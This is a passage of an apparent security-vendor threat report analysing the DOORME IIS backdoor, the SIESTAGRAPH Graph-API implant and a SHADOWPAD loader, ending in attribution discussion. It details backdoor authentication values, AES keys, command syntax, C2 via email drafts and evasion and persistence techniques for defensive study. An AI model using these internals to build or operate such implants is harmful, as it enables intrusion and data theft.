<p>As an example, a backdoored module that overrides the <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/cglobalmodule-onglobalprebeginrequest-method"><strong>OnGlobalPreBeginRequest</strong></a>event can be used to perform various malicious activities - such as capturing sensitive user information submitted to webpages, injecting malicious code into content served to visitors, or providing the attacker remote access to the web server. It is possible that a malicious module could intercept and modify a request before it is passed on to the server, adding an HTTP header or query string parameter that includes malicious code. When the server processes that modified request, the malicious code might be executed, allowing the attacker to gain unauthorized access or control the server and its resources.</p>
<p>Adding to the danger of IIS backdoors is that they can be stealthy and organizations may not be aware that they have been compromised. Many companies do not have the resources or expertise to regularly monitor and test their IIS modules for vulnerabilities and malicious code, which can make it difficult to detect and remediate backdoors. To mitigate these risks, organizations should maintain a comprehensive inventory of all IIS modules and implement network and endpoint protection solutions to help detect and respond to malicious activities. Elastic Security Labs has seen increased use of this persistence mechanism coupled with defense evasions, which may disproportionately impact those hosting on-premises servers running IIS.</p>
<h3>Introduction to the DOORME IIS module</h3>
<p>DOORME is a native backdoor module that is loaded into a victim's IIS infrastructure and used to provide remote access to the target infrastructure. We <a href="https://www.elastic.co/jp/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">first discussed</a> the DOORME sample that we observed targeting the Foreign Ministry of an ASEAN member nation in December of 2022.</p>
<p>DOORME uses the <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/pfn-registermodule-function"><strong>RegisterModule</strong></a> function, which is an export of a malicious C++ DLL module and is responsible for loading the module and setting up event handler methods. It also dynamically resolves API libraries that will be used later. The main functionality of the backdoor is implemented in the <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/cglobalmodule-class"><strong>CGlobalModule</strong></a>class and its event handler, <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/cglobalmodule-onglobalprebeginrequest-method"><strong>OnGlobalPreBeginRequest</strong></a>. This event handler is overridden by DOORME, allowing it to be loaded before a web request enters the IIS pipeline. The core functions of the backdoor (including cookie validation, parsing commands, and calling underlying command functions) are all located within this event handler. DOORME uses multiple obfuscation methods, an authentication mechanism, AES encryption implementation, and a purpose-built series of commands.</p>
<p>This diagram illustrates the contrast between an attacker attempting to connect to a backdoored IIS server and a legitimate user simply trying to access a webpage.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image33.jpg" alt="Overview diagram of the DOORME backdoor" /></p>
<h3>Obfuscation</h3>
<h4>String obfuscation</h4>
<p>DOORME XOR-encrypts strings to evade detection. These encrypted strings are then stored on the memory stack. As the original plaintext is obscured this string obfuscation makes it more difficult for security software or researchers to understand the purpose or meaning of the strings. The malware uses the first byte of every encrypted blob to XOR-decrypt the strings.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image22.jpg" alt="Pseudocode showcasing string obfuscation" /></p>
<h4>Anti-disassembly technique</h4>
<p>The malware employs a technique that can cause disassemblers to incorrectly split functions in the code, which leads to the generation of incorrect assembly graphs. This technique can make it more challenging for analysts to understand the malware's behavior and create an effective defense against it.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image14.jpg" alt="Gaps in the assembly view of IDA pro" /></p>
<h4>Control flow obfuscation</h4>
<p>The malware in question also employs a technique known as <a href="https://unprotect.it/technique/obscuring-control-flow/">Control Flow Obfuscation (CFO)</a> to complicate the analysis of its behavior. CFO is a technique where the flow of instructions in the code is deliberately manipulated to make it more difficult for security software and researchers to understand the malware's functionality.</p>
<p>The malware uses CFO to complicate the analysis process, but it is noteworthy that this technique is not applied to the entire codebase. From an analysis point of view, this tells us that these strings are of particular importance to the malware author - possibly to frustrate specific security tooling. The following example serves as a demonstration of how the malware uses CFO to conceal its functionality in the context of stack string XOR decryption.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image28.jpg" alt="Pseudocode showcasing CFO example" /></p>
<h4>Dynamic import table resolution obfuscation</h4>
<p>Dynamic import table resolution is a technique used by malicious software to evade detection by security software. It involves resolving the names of the Windows APIs that the malware needs to function at runtime, rather than hard coding the addresses of these APIs in the malware's import table.</p>
<p>DOORME first resolves the address of <strong>LoadLibraryA</strong> and <strong>GetProcAddress</strong> Windows API by parsing the <strong>kernel32.dll</strong> module export table, then uses the <strong>GetProcAddress</strong> function to locate the desired APIs within the modules by specifying the name of the API and the name of the DLL module that contains it.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image1.jpg" alt="Pseudocode showcasing import address table resolution" /></p>
<h3>Execution flow</h3>
<h4>Authentication</h4>
<p>The malicious IIS module backdoor operates by looking for the string &quot; <strong>79cfdd0e92b120faadd7eb253eb800d0</strong>&quot; (the MD5 hash sum of a profane string), in a specific cookie of the incoming HTTP requests, when found it will parse the rest of the request.</p>
<h4>GET request handling</h4>
<p><strong>GET</strong> requests are used to perform a status check: the malware returns the string “ <strong>It works!”</strong> followed by the <strong>username</strong> and the <strong>hostname</strong> of the infected machine. This serves as a means for the malware to confirm its presence on an infected machine.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image3.jpg" alt="GET request to the backdoor using curl command" /></p>
<h4>POST requests handling</h4>
<p>The backdoor operator sends commands to the malware through HTTP POST requests as data which is doubly encrypted. Commands are AES-encrypted and then Base64 encoded, which the DOORME backdoor then decrypts.</p>
<h4>Base64 implementation</h4>
<p>The malware's implementation of Base64 uses a different index table compared to the default Base64 encoding RFC. The specific index table used by the malware is <strong>&quot;VZkW6UKaPY8JR0bnMmzI4ugtCxsX2ejiE5q/9OH3vhfw1D+lQopdABTLrcNFGSy7&quot;</strong> , while the normal index table used by the Base64 algorithm is <strong>&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot;</strong>. This deviation from the standard index table makes it more difficult to decode the encoded data and highlights additional custom obfuscation techniques by the DOORME malware author in an attempt to frustrate analysis.</p>
<h4>AES algorithm implementation</h4>
<p>The malware uses <a href="https://en.wikipedia.org/wiki/Advanced_Encryption_Standard">AES (Advanced Encryption Standard)</a> in CBC (Cipher Block Chaining) mode to encrypt and decrypt data. It uses the MD5 hash of the first 16 bytes of the authentication hash &quot; <strong>79cfdd0e92b120faadd7eb253eb800d0</strong>&quot;, as the AES key. The initialization vector (IV) of the algorithm is the MD5 hash of the AES key.</p>
<p>In our case the AES key is “ <strong>5a430ab45c7e142c70018b99fe0d2da3”</strong> and the AES IV is “ <strong>57ce15b304a97772”</strong>.</p>
<h3>Command handling table</h3>
<p>The backdoor is capable of executing four different commands, each with its own set of parameters. To specify which command to run and pass the necessary parameters, the operators of the backdoor use a specific syntax. The command ID and its parameters are separated by the &quot;pipe&quot; symbol( <strong>|</strong> ).</p>
<h4>Command ID 0x42</h4>
<p>The first command implemented has the ID <strong>0x42</strong> and generates a Globally Unique Identifier (GUID) by calling the API <strong>CoCreateGuid</strong>. Used to identify the infected machine, this helps to track infected machines and allows the attacker to focus on specific high-value environments.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image13.jpg" alt="Pseudocode generating the GUID" /></p>
<h4>Command ID 0x43</h4>
<p>Another command, ID <strong>0x43</strong> , is particularly noteworthy as it allows the attacker to execute shellcode in the memory of the same process. This functionality is achieved by utilizing the Windows native functions <strong>NtAllocateVirtualMemory</strong> and <strong>NtCreateThreadEx</strong>.</p>
<p>The <strong>NtAllocateVirtualMemory</strong> function is used to allocate memory in the same process for shellcode, while the <strong>NtCreateThreadEx</strong> function creates an execution thread with shellcode in that newly-allocated memory.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image27.jpg" alt="Pseudocode self-shellcode injection" /></p>
<h4>Command ID 0x63</h4>
<p>Command ID <strong>0x63</strong> allows the attacker to send a blob of shellcode in chunks, which the malware reassembles to execute. It works by sending this command ID with a shellcode chunk as a parameter. Implants can detect that the shellcode has been fully received when the server communicates a different shellcode size than expected. This approach allows the malware to handle large shellcode objects with minimal validation.</p>
<h4>Command ID 0x44</h4>
<p>Command ID <strong>0x44</strong> provides a means of interacting with the shellcode being executed on the infected system. The attacker can send input to the shellcode and retrieve its output via a named pipe. This allows the attacker to control the execution of the shellcode and receive feedback, which may help to capture the output of tools deployed in the environment via the DOORME implant.</p>
<h3>DOORME Summary</h3>
<p>In summary, DOORME provides a dangerous capability allowing attackers to gain unauthorized access to the internal network of victims through an internet-facing IIS web server. It includes multiple obfuscation techniques to evade detection, as well as the ability to execute additional malware and tools. Malware authors are increasingly leveraging IIS as covert backdoors that hide deep within the system. To protect against these threats, it is important to continuously monitor IIS servers for any suspicious activity, processes spawned from the IIS worker process ( <strong>w3wp.exe</strong> ), and the creation of new executables.</p>
<h2>SIESTAGRAPH code analysis</h2>
<h3>Introduction to the SIESTAGRAPH implant</h3>
<p>The implant utilizes the <a href="https://learn.microsoft.com/en-us/graph/overview">Microsoft Graph API</a> to access Microsoft 365 Mail and OneDrive for its C2 communication. It uses a predetermined tenant identifier and a refresh token to obtain access tokens. The implant uses the legitimate <a href="https://github.com/KoenZomers/OneDriveAPI">OneDriveAPI library</a> which simplifies the process of interacting with the Microsoft API and allows for efficient management of access and refresh tokens. The implant leverages sleep timers in multiple locations as a defense evasion technique. This led to the implant’s name: SIESTAGRAPH.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image11.jpg" alt="Overview diagram of the SIESTAGRAPH implant" /></p>
<h3>Execution flow</h3>
<p>SIESTAGRAPH starts and enters its main function which will set up the needed parameters to access Microsoft GraphAPI by requesting an access token based on a hard coded refresh token.</p>
<p>![Initial setup of SIESTAGRAPH](/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image26.jpg</p>
<p>During the setup phase the malware uses the <a href="https://learn.microsoft.com/en-us/troubleshoot/azure/active-directory/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications:~:text=Microsoft%20Office,4102%2Daeff%2Daad2292ab01c">Microsoft Office GUID</a> ( <strong>d3590ed6-52b3-4102-aeff-aad2292ab01c</strong> ). This is needed to supply access to both Microsoft 365 Mail and OneDrive.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image19.jpg" alt="Request an authentication token" /></p>
<h3>Authentication</h3>
<p>The SIESTAGRAPH author utilized a pre-determined tenant identifier and a refresh token to obtain access tokens. Both of these elements are essential in making a request for an access token. It is important to note that access tokens possess a limited lifespan, however, the refresh token can be utilized to request new access tokens as necessary.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image15.jpg" alt="Hard coded tenant and refresh tokens" /></p>
<p>To facilitate this process, the attacker utilized a third-party and legitimate library named <a href="https://github.com/KoenZomers/OneDriveAPI">OneDriveAPI</a>. This library simplifies the process of interacting with the Microsoft API and allows for efficient management of access and refresh tokens. It should be noted that although third-party libraries such as OneDriveAPI can provide a convenient way to interact with APIs, they should not be considered to be malicious.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image21.jpg" alt="Use of third-party libraries" /></p>
<p>The malware utilizes the <strong>GetAccessTokenFromRefreshToken</strong> method to request an authentication token. This token is then used in all subsequent API requests.</p>
<p>Refresh tokens have a <a href="https://learn.microsoft.com/en-us/microsoft-365/enterprise/session-timeouts?view=o365-worldwide#:~:text=The%20default%20lifetime%20for%20the%20access%20token%20is%201%20hour.%20The%20default%20max%20inactive%20time%20of%20the%20refresh%20token%20is%2090%20days">90-day expiration window</a>. So while the access token was being used by the Graph API for C2, the refresh token, which is needed to generate new access tokens, was not used within the expiration window. The refresh token was generated on 2022-11-01T03:03:44.3138133Z and expired on 2023-01-30T03:03:44.3138133Z. This means that a new refresh token will be needed before a new access token can be generated. As the refresh token is hard coded into the malware, we can expect SIESTAGRAPH to be updated with a new refresh token if it is intended to be used in the future.</p>
<h3>Command and control</h3>
<p>A session token ( <strong>sessionToken</strong> ) is created by concatenating the process ID, machine name, username, and operating system. The session token is later used to retrieve commands intended for this specific implant.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image5.jpg" alt="Defining the session token" /></p>
<p>After obtaining authentication and session tokens, the malware collects system information and exfiltrates it using a method called <strong>sendSession</strong>.</p>
<p>Inspecting the <strong>sendSession</strong> method we see that it creates an email message and saves it as a draft. Using draft messages is common C2 tradecraft as a way to avoid email interception and inspection.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image6.jpg" alt="The sendMessage method" /></p>
<p>After sending the session information to the attacker, the implant enters a loop in which it will check for new commands. By default, this beaconing interval is every 5 seconds, however, this can be adjusted by the attacker at any time.</p>
<p>When receiving a command, the implant will use the <strong>getMessages</strong> method to check for any draft emails with commands from the attacker.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image9.jpg" alt="The getMessage method" /></p>
<p>With every call that contacts the Graph API, SIESTAGRAPH will receive the current authentication token ( <strong>authToken</strong> ). This token is then used in the HTTP request header following the <strong>Authorization: Bearer</strong> ( <strong>“Authorization”, “Bearer “ + authToken</strong> ).</p>
<p>Every call to this method will contain the <strong>sessionToken</strong> , a command, and command arguments, separated with colons ( <strong>:</strong> ) ( <strong><code>&lt;sessionToken&gt;:&lt;Command&gt;:&lt;command arguments&gt;</code></strong> ).</p>
<p>If a command has multiple arguments they will be split by a pipe ( <strong>|</strong> ). An example of this is the <strong>rename</strong> command where the source and destination names are split by a pipe.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image2.jpg" alt="Using a pipe for separating arguments" /></p>
<p>We have identified the following commands:</p>
<table>
<thead>
<tr>
<th>Command text</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>C</td>
<td>Run a command</td>
</tr>
<tr>
<td>N</td>
<td>Update the amount of time the binary will sleep between check-ins</td>
</tr>
<tr>
<td>D</td>
<td>Upload a file to OneDrive</td>
</tr>
<tr>
<td>U</td>
<td>Download Item from Onedrive</td>
</tr>
<tr>
<td>UU</td>
<td>Check to see is Core.bin exists then Download item from Onedrive</td>
</tr>
<tr>
<td>ListDrives</td>
<td>Send a list of the logical drives</td>
</tr>
<tr>
<td>GetDirectories</td>
<td>Send a list of given subdirectories</td>
</tr>
<tr>
<td>GetFiles</td>
<td>Send a list of files in a given directory</td>
</tr>
<tr>
<td>Del</td>
<td>Delete a given file</td>
</tr>
<tr>
<td>Rename</td>
<td>Rename a given file or directory</td>
</tr>
<tr>
<td>P</td>
<td>Get a list of running processes</td>
</tr>
<tr>
<td>E</td>
<td>Ends the execution of the binary</td>
</tr>
<tr>
<td>K</td>
<td>Kill a given process ID</td>
</tr>
<tr>
<td>S</td>
<td>Update the amount of time the binary will sleep between check-ins (same as N)</td>
</tr>
<tr>
<td>NET</td>
<td>Get network information</td>
</tr>
<tr>
<td>SS</td>
<td>Take a screenshot</td>
</tr>
</tbody>
</table>
<p>Several commands are self-explanatory ( <strong>ListDrives</strong> , <strong>Rename</strong> , etc.), however the run commands, update sleep timer, upload and download files, and take screenshots are more interesting and can provide a better understanding of the capabilities of SIESTAGRAPH.</p>
<h4>C - run command</h4>
<p>When the <strong>C</strong> command is received the malware runs the <strong>runCommand</strong> method. This method takes in the name of <strong>cmd.exe</strong> , the command line to run, and the number of milliseconds to wait for the new process to exit.</p>
<p>If the command parameter is not null or empty, the method proceeds to create a new instance of the <strong>System.Diagnostics.Process</strong> class, which is used to start and interact with a new process. It sets the properties of the process instance's <strong>StartInfo</strong> property, which is of the <strong>ProcessStartInfo</strong> class, such as the <strong>FileName</strong> property to the <strong>cmd</strong> parameter passed to the method, the <strong>Arguments</strong> property to <strong>/c</strong> concatenated with the command parameter, and also sets <strong>UseShellExecute</strong> , <strong>RedirectStandardInput</strong> , <strong>RedirectStandardOutput</strong> , <strong>RedirectStandardError,</strong> and <strong>CreateNoWindow</strong> property. As this method is only called with the hard coded value of <strong>cmd</strong> for the <strong>cmd</strong> parameter, the resulting command will always be <strong><code>cmd /c &lt;command to run&gt;</code></strong>. This is a common way to run commands if one does not have direct access to an interactive shell.</p>
<p>![The runCommand method](/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image26.jpg</p>
<h4>N - Sleep timer update</h4>
<p>The sleep command is a single instruction. If the argument for the command is larger than 1000, the value for the <strong>SleepTimer</strong> variable is updated. This variable is later used to determine how long the process will sleep in between check-ins.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image4.jpg" alt="Updating the SleepTimer" /></p>
<h4>D - Upload to OneDrive</h4>
<p>The <strong>D</strong> command is issued from the attacker’s perspective, so while they’re “downloading” from OneDrive, the host is “uploading” to OneDrive</p>
<p>The method receives a <strong>filePath</strong> , and the authentication and session tokens. It will then upload the requested file to OneDrive. If the file is successfully uploaded, a response message is sent to the attacker using the format <strong>OK|C:\foo\file.txt</strong>.</p>
<p>If the upload did not succeed the attacker will receive the error message <strong><code>OK|&lt;Error message&gt;</code></strong>.</p>
<p>While this method might seem simple it helps to avoid detection by using common libraries while achieving the goal of exfiltrating data from the victim. While unconfirmed, this could be how the <a href="https://www.elastic.co/jp/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry#exporting-exchange-mailboxes">exported Exchange mailboxes</a> were collected by the threat actor.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image20.jpg" alt="The uploadFile method" /></p>
<h4>U - Download from OneDrive</h4>
<p>The download function is similar to the upload function. Again, from the attacker's perspective, the <strong>U</strong> command stands for upload. As the file is downloaded from OneDrive by the implant, but uploaded by the attacker.</p>
<h4>NET - Gather network information</h4>
<p>The <strong>NET</strong> command will gather network information and send it back to the attacker. In order to gather the information the binary first resolves two functions from the DLLs, <strong>Ws2_32.dll</strong> (the Windows socket API) and <strong>iphlpapi.dll</strong> (the Windows IP helper API).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image29.jpg" alt="Revolve functions from Ws2_32.dll and iphlpapi.dll" /></p>
<p>The <strong>NET</strong> command gathers information about open TCP connections from the system's TCP table. It then loops over all open connections and stores the information in an array that is sent back to the attacker. This code helps the attacker to get a better insight into the system's purpose within the network. As an example, if there are open connections for ports 587, 993, and 995, the host could be a Microsoft Exchange server.</p>
<h4>SS - Take screenshot</h4>
<p>To see the victim's desktop, SIESTAGRAPH can call the method named <strong>TakeScreenShot</strong> which takes a screenshot of the primary monitor and returns the screenshot as a Base64 encoded string.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image16.jpg" alt="The TakeScreenShot method" /></p>
<p>This function creates a new <strong>Bitmap</strong> object with the width and height of the primary screen's bounds. Then it creates a new <strong>Graphics</strong> object from the <strong>Bitmap</strong> object and uses the <strong>CopyFromScreen</strong> function to take a screenshot and copy it to the <strong>Graphics</strong> object.</p>
<p>It then creates a new <strong>MemoryStream</strong> object and uses the <strong>Save</strong> method of the <strong>Bitmap</strong> object to save the screenshot as a PNG image into the memory stream. The image in the memory stream is then converted to a Base64 encoded string using the <strong>Convert.ToBase64String</strong> method. The resulting Base64 string is then sent back to the attacker by saving it as an email draft.</p>
<h3>SIESTAGRAPH Summary</h3>
<p>SIESTAGRAPH is a purpose-built and full-featured implant that acts as a proxy for the threat actor. What makes SIESTAGRAPH more than a generic implant is that it uses legitimate and common, but adversary-controlled, infrastructure to deliver remote capabilities on the infected host.</p>
<h2>SHADOWPAD loader code analysis</h2>
<h3>Introduction to log.dll</h3>
<p>When Elastic Security Labs <a href="https://www.elastic.co/jp/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry#dll-side-loading">disclosed</a> REF2924 in December of 2022, we observed an unknown DLL. We have since collected and analyzed the DLL, concluding it is a loader for the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad">SHADOWPAD</a> malware family.</p>
<p>The DLL, <strong>log.dll</strong> , was observed on two Domain Controllers and was being side-loaded by an 11-year-old version of the Bitdefender Crash Handler (compiled name: <strong>BDReinit.exe</strong> ), named <strong>13802 AR.exe</strong> (in our example). Once executed, SHADOWPAD copies itself to **C:\ProgramData\OfficeDriver** as <strong>svchost.exe</strong> before installing itself as a service. Once <strong>log.dll</strong> is loaded, it will spawn Microsoft Windows Media Player ( <strong>wmplayer.exe</strong> ) and **dllhost.exe,** injecting into them which triggers a memory shellcode detection for Elastic Defend.</p>
<p>At runtime, <strong>log.dll</strong> looks for the <strong>log.dll.dat</strong> file which contains the shellcode to be executed. Then <strong>log.dll</strong> will encrypt and store the <strong>shellcode</strong> in the registry and shred the original <strong>log.dll.dat</strong> file. If the file doesn’t exist it will skip this part.</p>
<p>Then the sample will load the shellcode from the registry, RWX map it, and execute it from memory. If the registry key doesn’t exist the sample will crash.</p>
<h3>Execution flow</h3>
<p>Our version of the SHADOWPAD DLL expects to be sideloaded by an 11-year-old and vulnerable version of the BitDefender <strong>BDReinit.exe</strong> binary. The offset to the trampoline (<a href="https://gcc.gnu.org/onlinedocs/gcc-4.7.1/gccint/Trampolines.html">jump instructions</a>) in the vulnerable application is hard coded which means that the sample is tailored for this exact version of BitDefender’s binary ( <strong>386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd</strong> ). This side-loading behavior was previously <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">reported</a> by Positive Technologies.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image30.jpg" alt="log.dll’s hard coded offsets to BDReinit.exe" /></p>
<p>For our analysis, we patched <strong>log.dll</strong> to execute without the BitDefender sideloading requirement.</p>
<h3>Capabilities</h3>
<h4>Obfuscation</h4>
<p>The <strong>log.dll</strong> uses two lure functions to bypass automatic analysis.</p>
<p>We define lure functions as benign and not related to malware capabilities, but intended to evade defenses, obfuscate the true capabilities of the malware, and frustrate analysis. They may trick time-constrained sandbox analysis by showcasing benign behavior while exhausting the analysis interval of the sandbox.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image8.jpg" alt="log.dll’s lure functions" /></p>
<p><strong>log.dll</strong> incorporates a code-scattering obfuscation technique to frustrate static analysis, however, this doesn't protect the binary from dynamic analysis.</p>
<p>This technique involves fragmenting the code into gadgets and distributing those gadgets throughout the binary. Each gadget is implemented as a single instruction followed by a call to a “resolver” function.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image12.jpg" alt="Obfuscated function prologue 1/2" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image24.jpg" alt="Obfuscated function prologue 2/2" /></p>
<p>The resolver function of each call resolves the address of the next gadget and passes execution.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image10.jpg" alt="Resolver function computing the next gadget address" /></p>
<p>The obfuscation pattern is simple and a trace can be used to recover the original instructions:</p>
<pre><code>**result = []
for i, x in enumerate(trace):
 if &quot;ret&quot; in x:
 result.append(trace[i + 1])**
</code></pre>
<h4>API loading</h4>
<p>The sample uses the common <a href="https://0xevilc0de.com/2018/02/25/locating-dll-name-from-the-process-environment-block-peb/">Ldr crawling technique</a> to find the address of <strong>kernel32.dll.</strong></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image17.jpg" alt="Searching for the process module list in the PEB’s Ldr" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image18.jpg" alt="Searching for kernel32.dll by name in the module list" /></p>
<p>Next, <strong>log.dll</strong> parses the exports of <strong>kernel32.dll</strong> to get the address of the <strong>LoadLibraryA</strong> and <strong>GetProcAddress</strong> functions. It uses <strong>GetProcAddress</strong> to resolve imports as needed.</p>
<h4>Persistence</h4>
<p>The sample expects to find a file called <strong>log.dll.dat</strong> in its root directory using the <strong>FindFirstFile</strong> and <strong>FindNextFile</strong> APIs. Once <strong>log.dll.dat</strong> is located, it is loaded, encrypted, and stored in the registry under the <strong><code>HKEY\_LOCAL\_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\\{1845df8d-241a-a0e4-02ea341a79878897\}\D752E7A8\}</code></strong> registry value.</p>
<p>This registry value seems to be hard coded. If the file isn't found and the hard coded registry key doesn’t exist, the application crashes.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image31.jpg" alt="Payload is stored encrypted in the registry" /></p>
<p>Once the contents of <strong>log.dll.dat</strong> have been encrypted and embedded in the registry, the original file will be deleted. On subsequent runs, the shellcode will be loaded directly from the registry key.</p>
<h4>Shellcode</h4>
<p>To execute the shellcode the sample will allocate an <a href="https://www.ired.team/offensive-security/defense-evasion/finding-all-rwx-protected-memory-regions">RWX-protected memory region</a> using the <strong>VirtualAlloc</strong> Windows API, then write the shellcode to the memory region and pass execution to it with an ESI instruction call.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image25.jpg" alt="log.dll allocate RWX memory for the shellcode" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image7.png" alt="log.dll pass execution to the shellcode" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image23.jpg" alt="First instruction of the shellcode" /></p>
<h3>Other SHADOWPAD research</h3>
<p>While researching shared code and techniques, Elastic Security Labs identified a <a href="https://www.secureworks.com/research/shadowpad-malware-analysis">publication from SecureWorks’ CTU</a> that describes the BitDefender sideload vulnerability. Additionally, SecureWorks has shared information describing the functionality of a file, <strong>log.dll.dat</strong> , which is consistent with our observations. The team at <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/">Positive Technologies ETC</a> also <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">published detailed research</a> on SHADOWPAD which aligns with our research.</p>
<h3>SHADOWPAD Summary</h3>
<p>SHADOWPAD is a malware family that SecureWorks CTU has associated with the <a href="https://www.secureworks.com/research/threat-profiles/bronze-university">BRONZE UNIVERSITY</a> threat group and Positive Technologies ETC has associated with the <a href="https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf">Winnti group</a>.</p>
<h2>Campaign and adversary modeling</h2>
<p>Our analysis of Elastic telemetry, combined with open sources and compared with third-party reporting, concludes a single nationally-aligned threat group is likely responsible. We identified relationships involving shared malware, techniques, victimology, and observed adversary priorities. Our confidence assessments vary depending on the sourcing and collection fidelity.</p>
<p>We identified significant overlaps in the work of Positive Technologies ETC and <a href="https://www.secureworks.com/research/shadowpad-malware-analysis">SecureWorks CTU</a> while researching the DOORME, SIESTAGRAPH, and SHADOWPAD implants, and believe these are related activity clusters.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image32.jpg" alt="REF2924 intersections and associations" /></p>
<p>In the following analysis, we’ll discuss the four campaigns that we associate with this intrusion set including sourcing, intersections, and how each supported our attribution across all campaigns.</p>
<ol>
<li>Winnti - reported by Positive Technologies, January 2021</li>
<li>Undisclosed REF, Winnti - observed by Elastic Security Labs, March 2022</li>
<li>REF2924, ChamelGang, Winnti - reported by Elastic Security Labs, December 2022</li>
<li>Undisclosed REF, ChamelGang - observed by Elastic Security Labs, December 2022</li>
</ol>
<h3>Winnti</h3>
<p>In January of 2021, the team at Positive Technologies ETC <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">published research</a> that overlapped with our observations for REF2924; specifically SHADOWPAD malware deployed with the file names <strong>log.dll</strong> and <strong>log.dll.dat</strong> and using the same sample of BitDefender we observed as a DLL injection vehicle.</p>
<p>While the research from Positive Technologies ETC covered a different activity cluster, the adversary deployed a similar variant of SHADOWPAD, used a similar file naming methodology, and leveraged similar procedure-level capabilities; these consistencies contribute to our conclusion that REF2924 is related. In the graphic above, we use a dashed line to represent third-party consensus and moderate confidence because, while the reporting appears thorough and sound, we cannot independently validate all findings.</p>
<h3>Undisclosed REF, Winnti</h3>
<p>In early 2022, Elastic observed a short-lived intrusion into a telecommunications provider in Afghanistan. Using code analysis and event sampling, we internally attributed these sightings to WINNTI malware implants and external research overlaps with the <a href="https://attack.mitre.org/groups/G0044/">Winnti Group</a>. We continue to track this intrusion set, independently of and in relation to REF2924 observations.</p>
<h3>REF2924, ChamelGang, Winnti</h3>
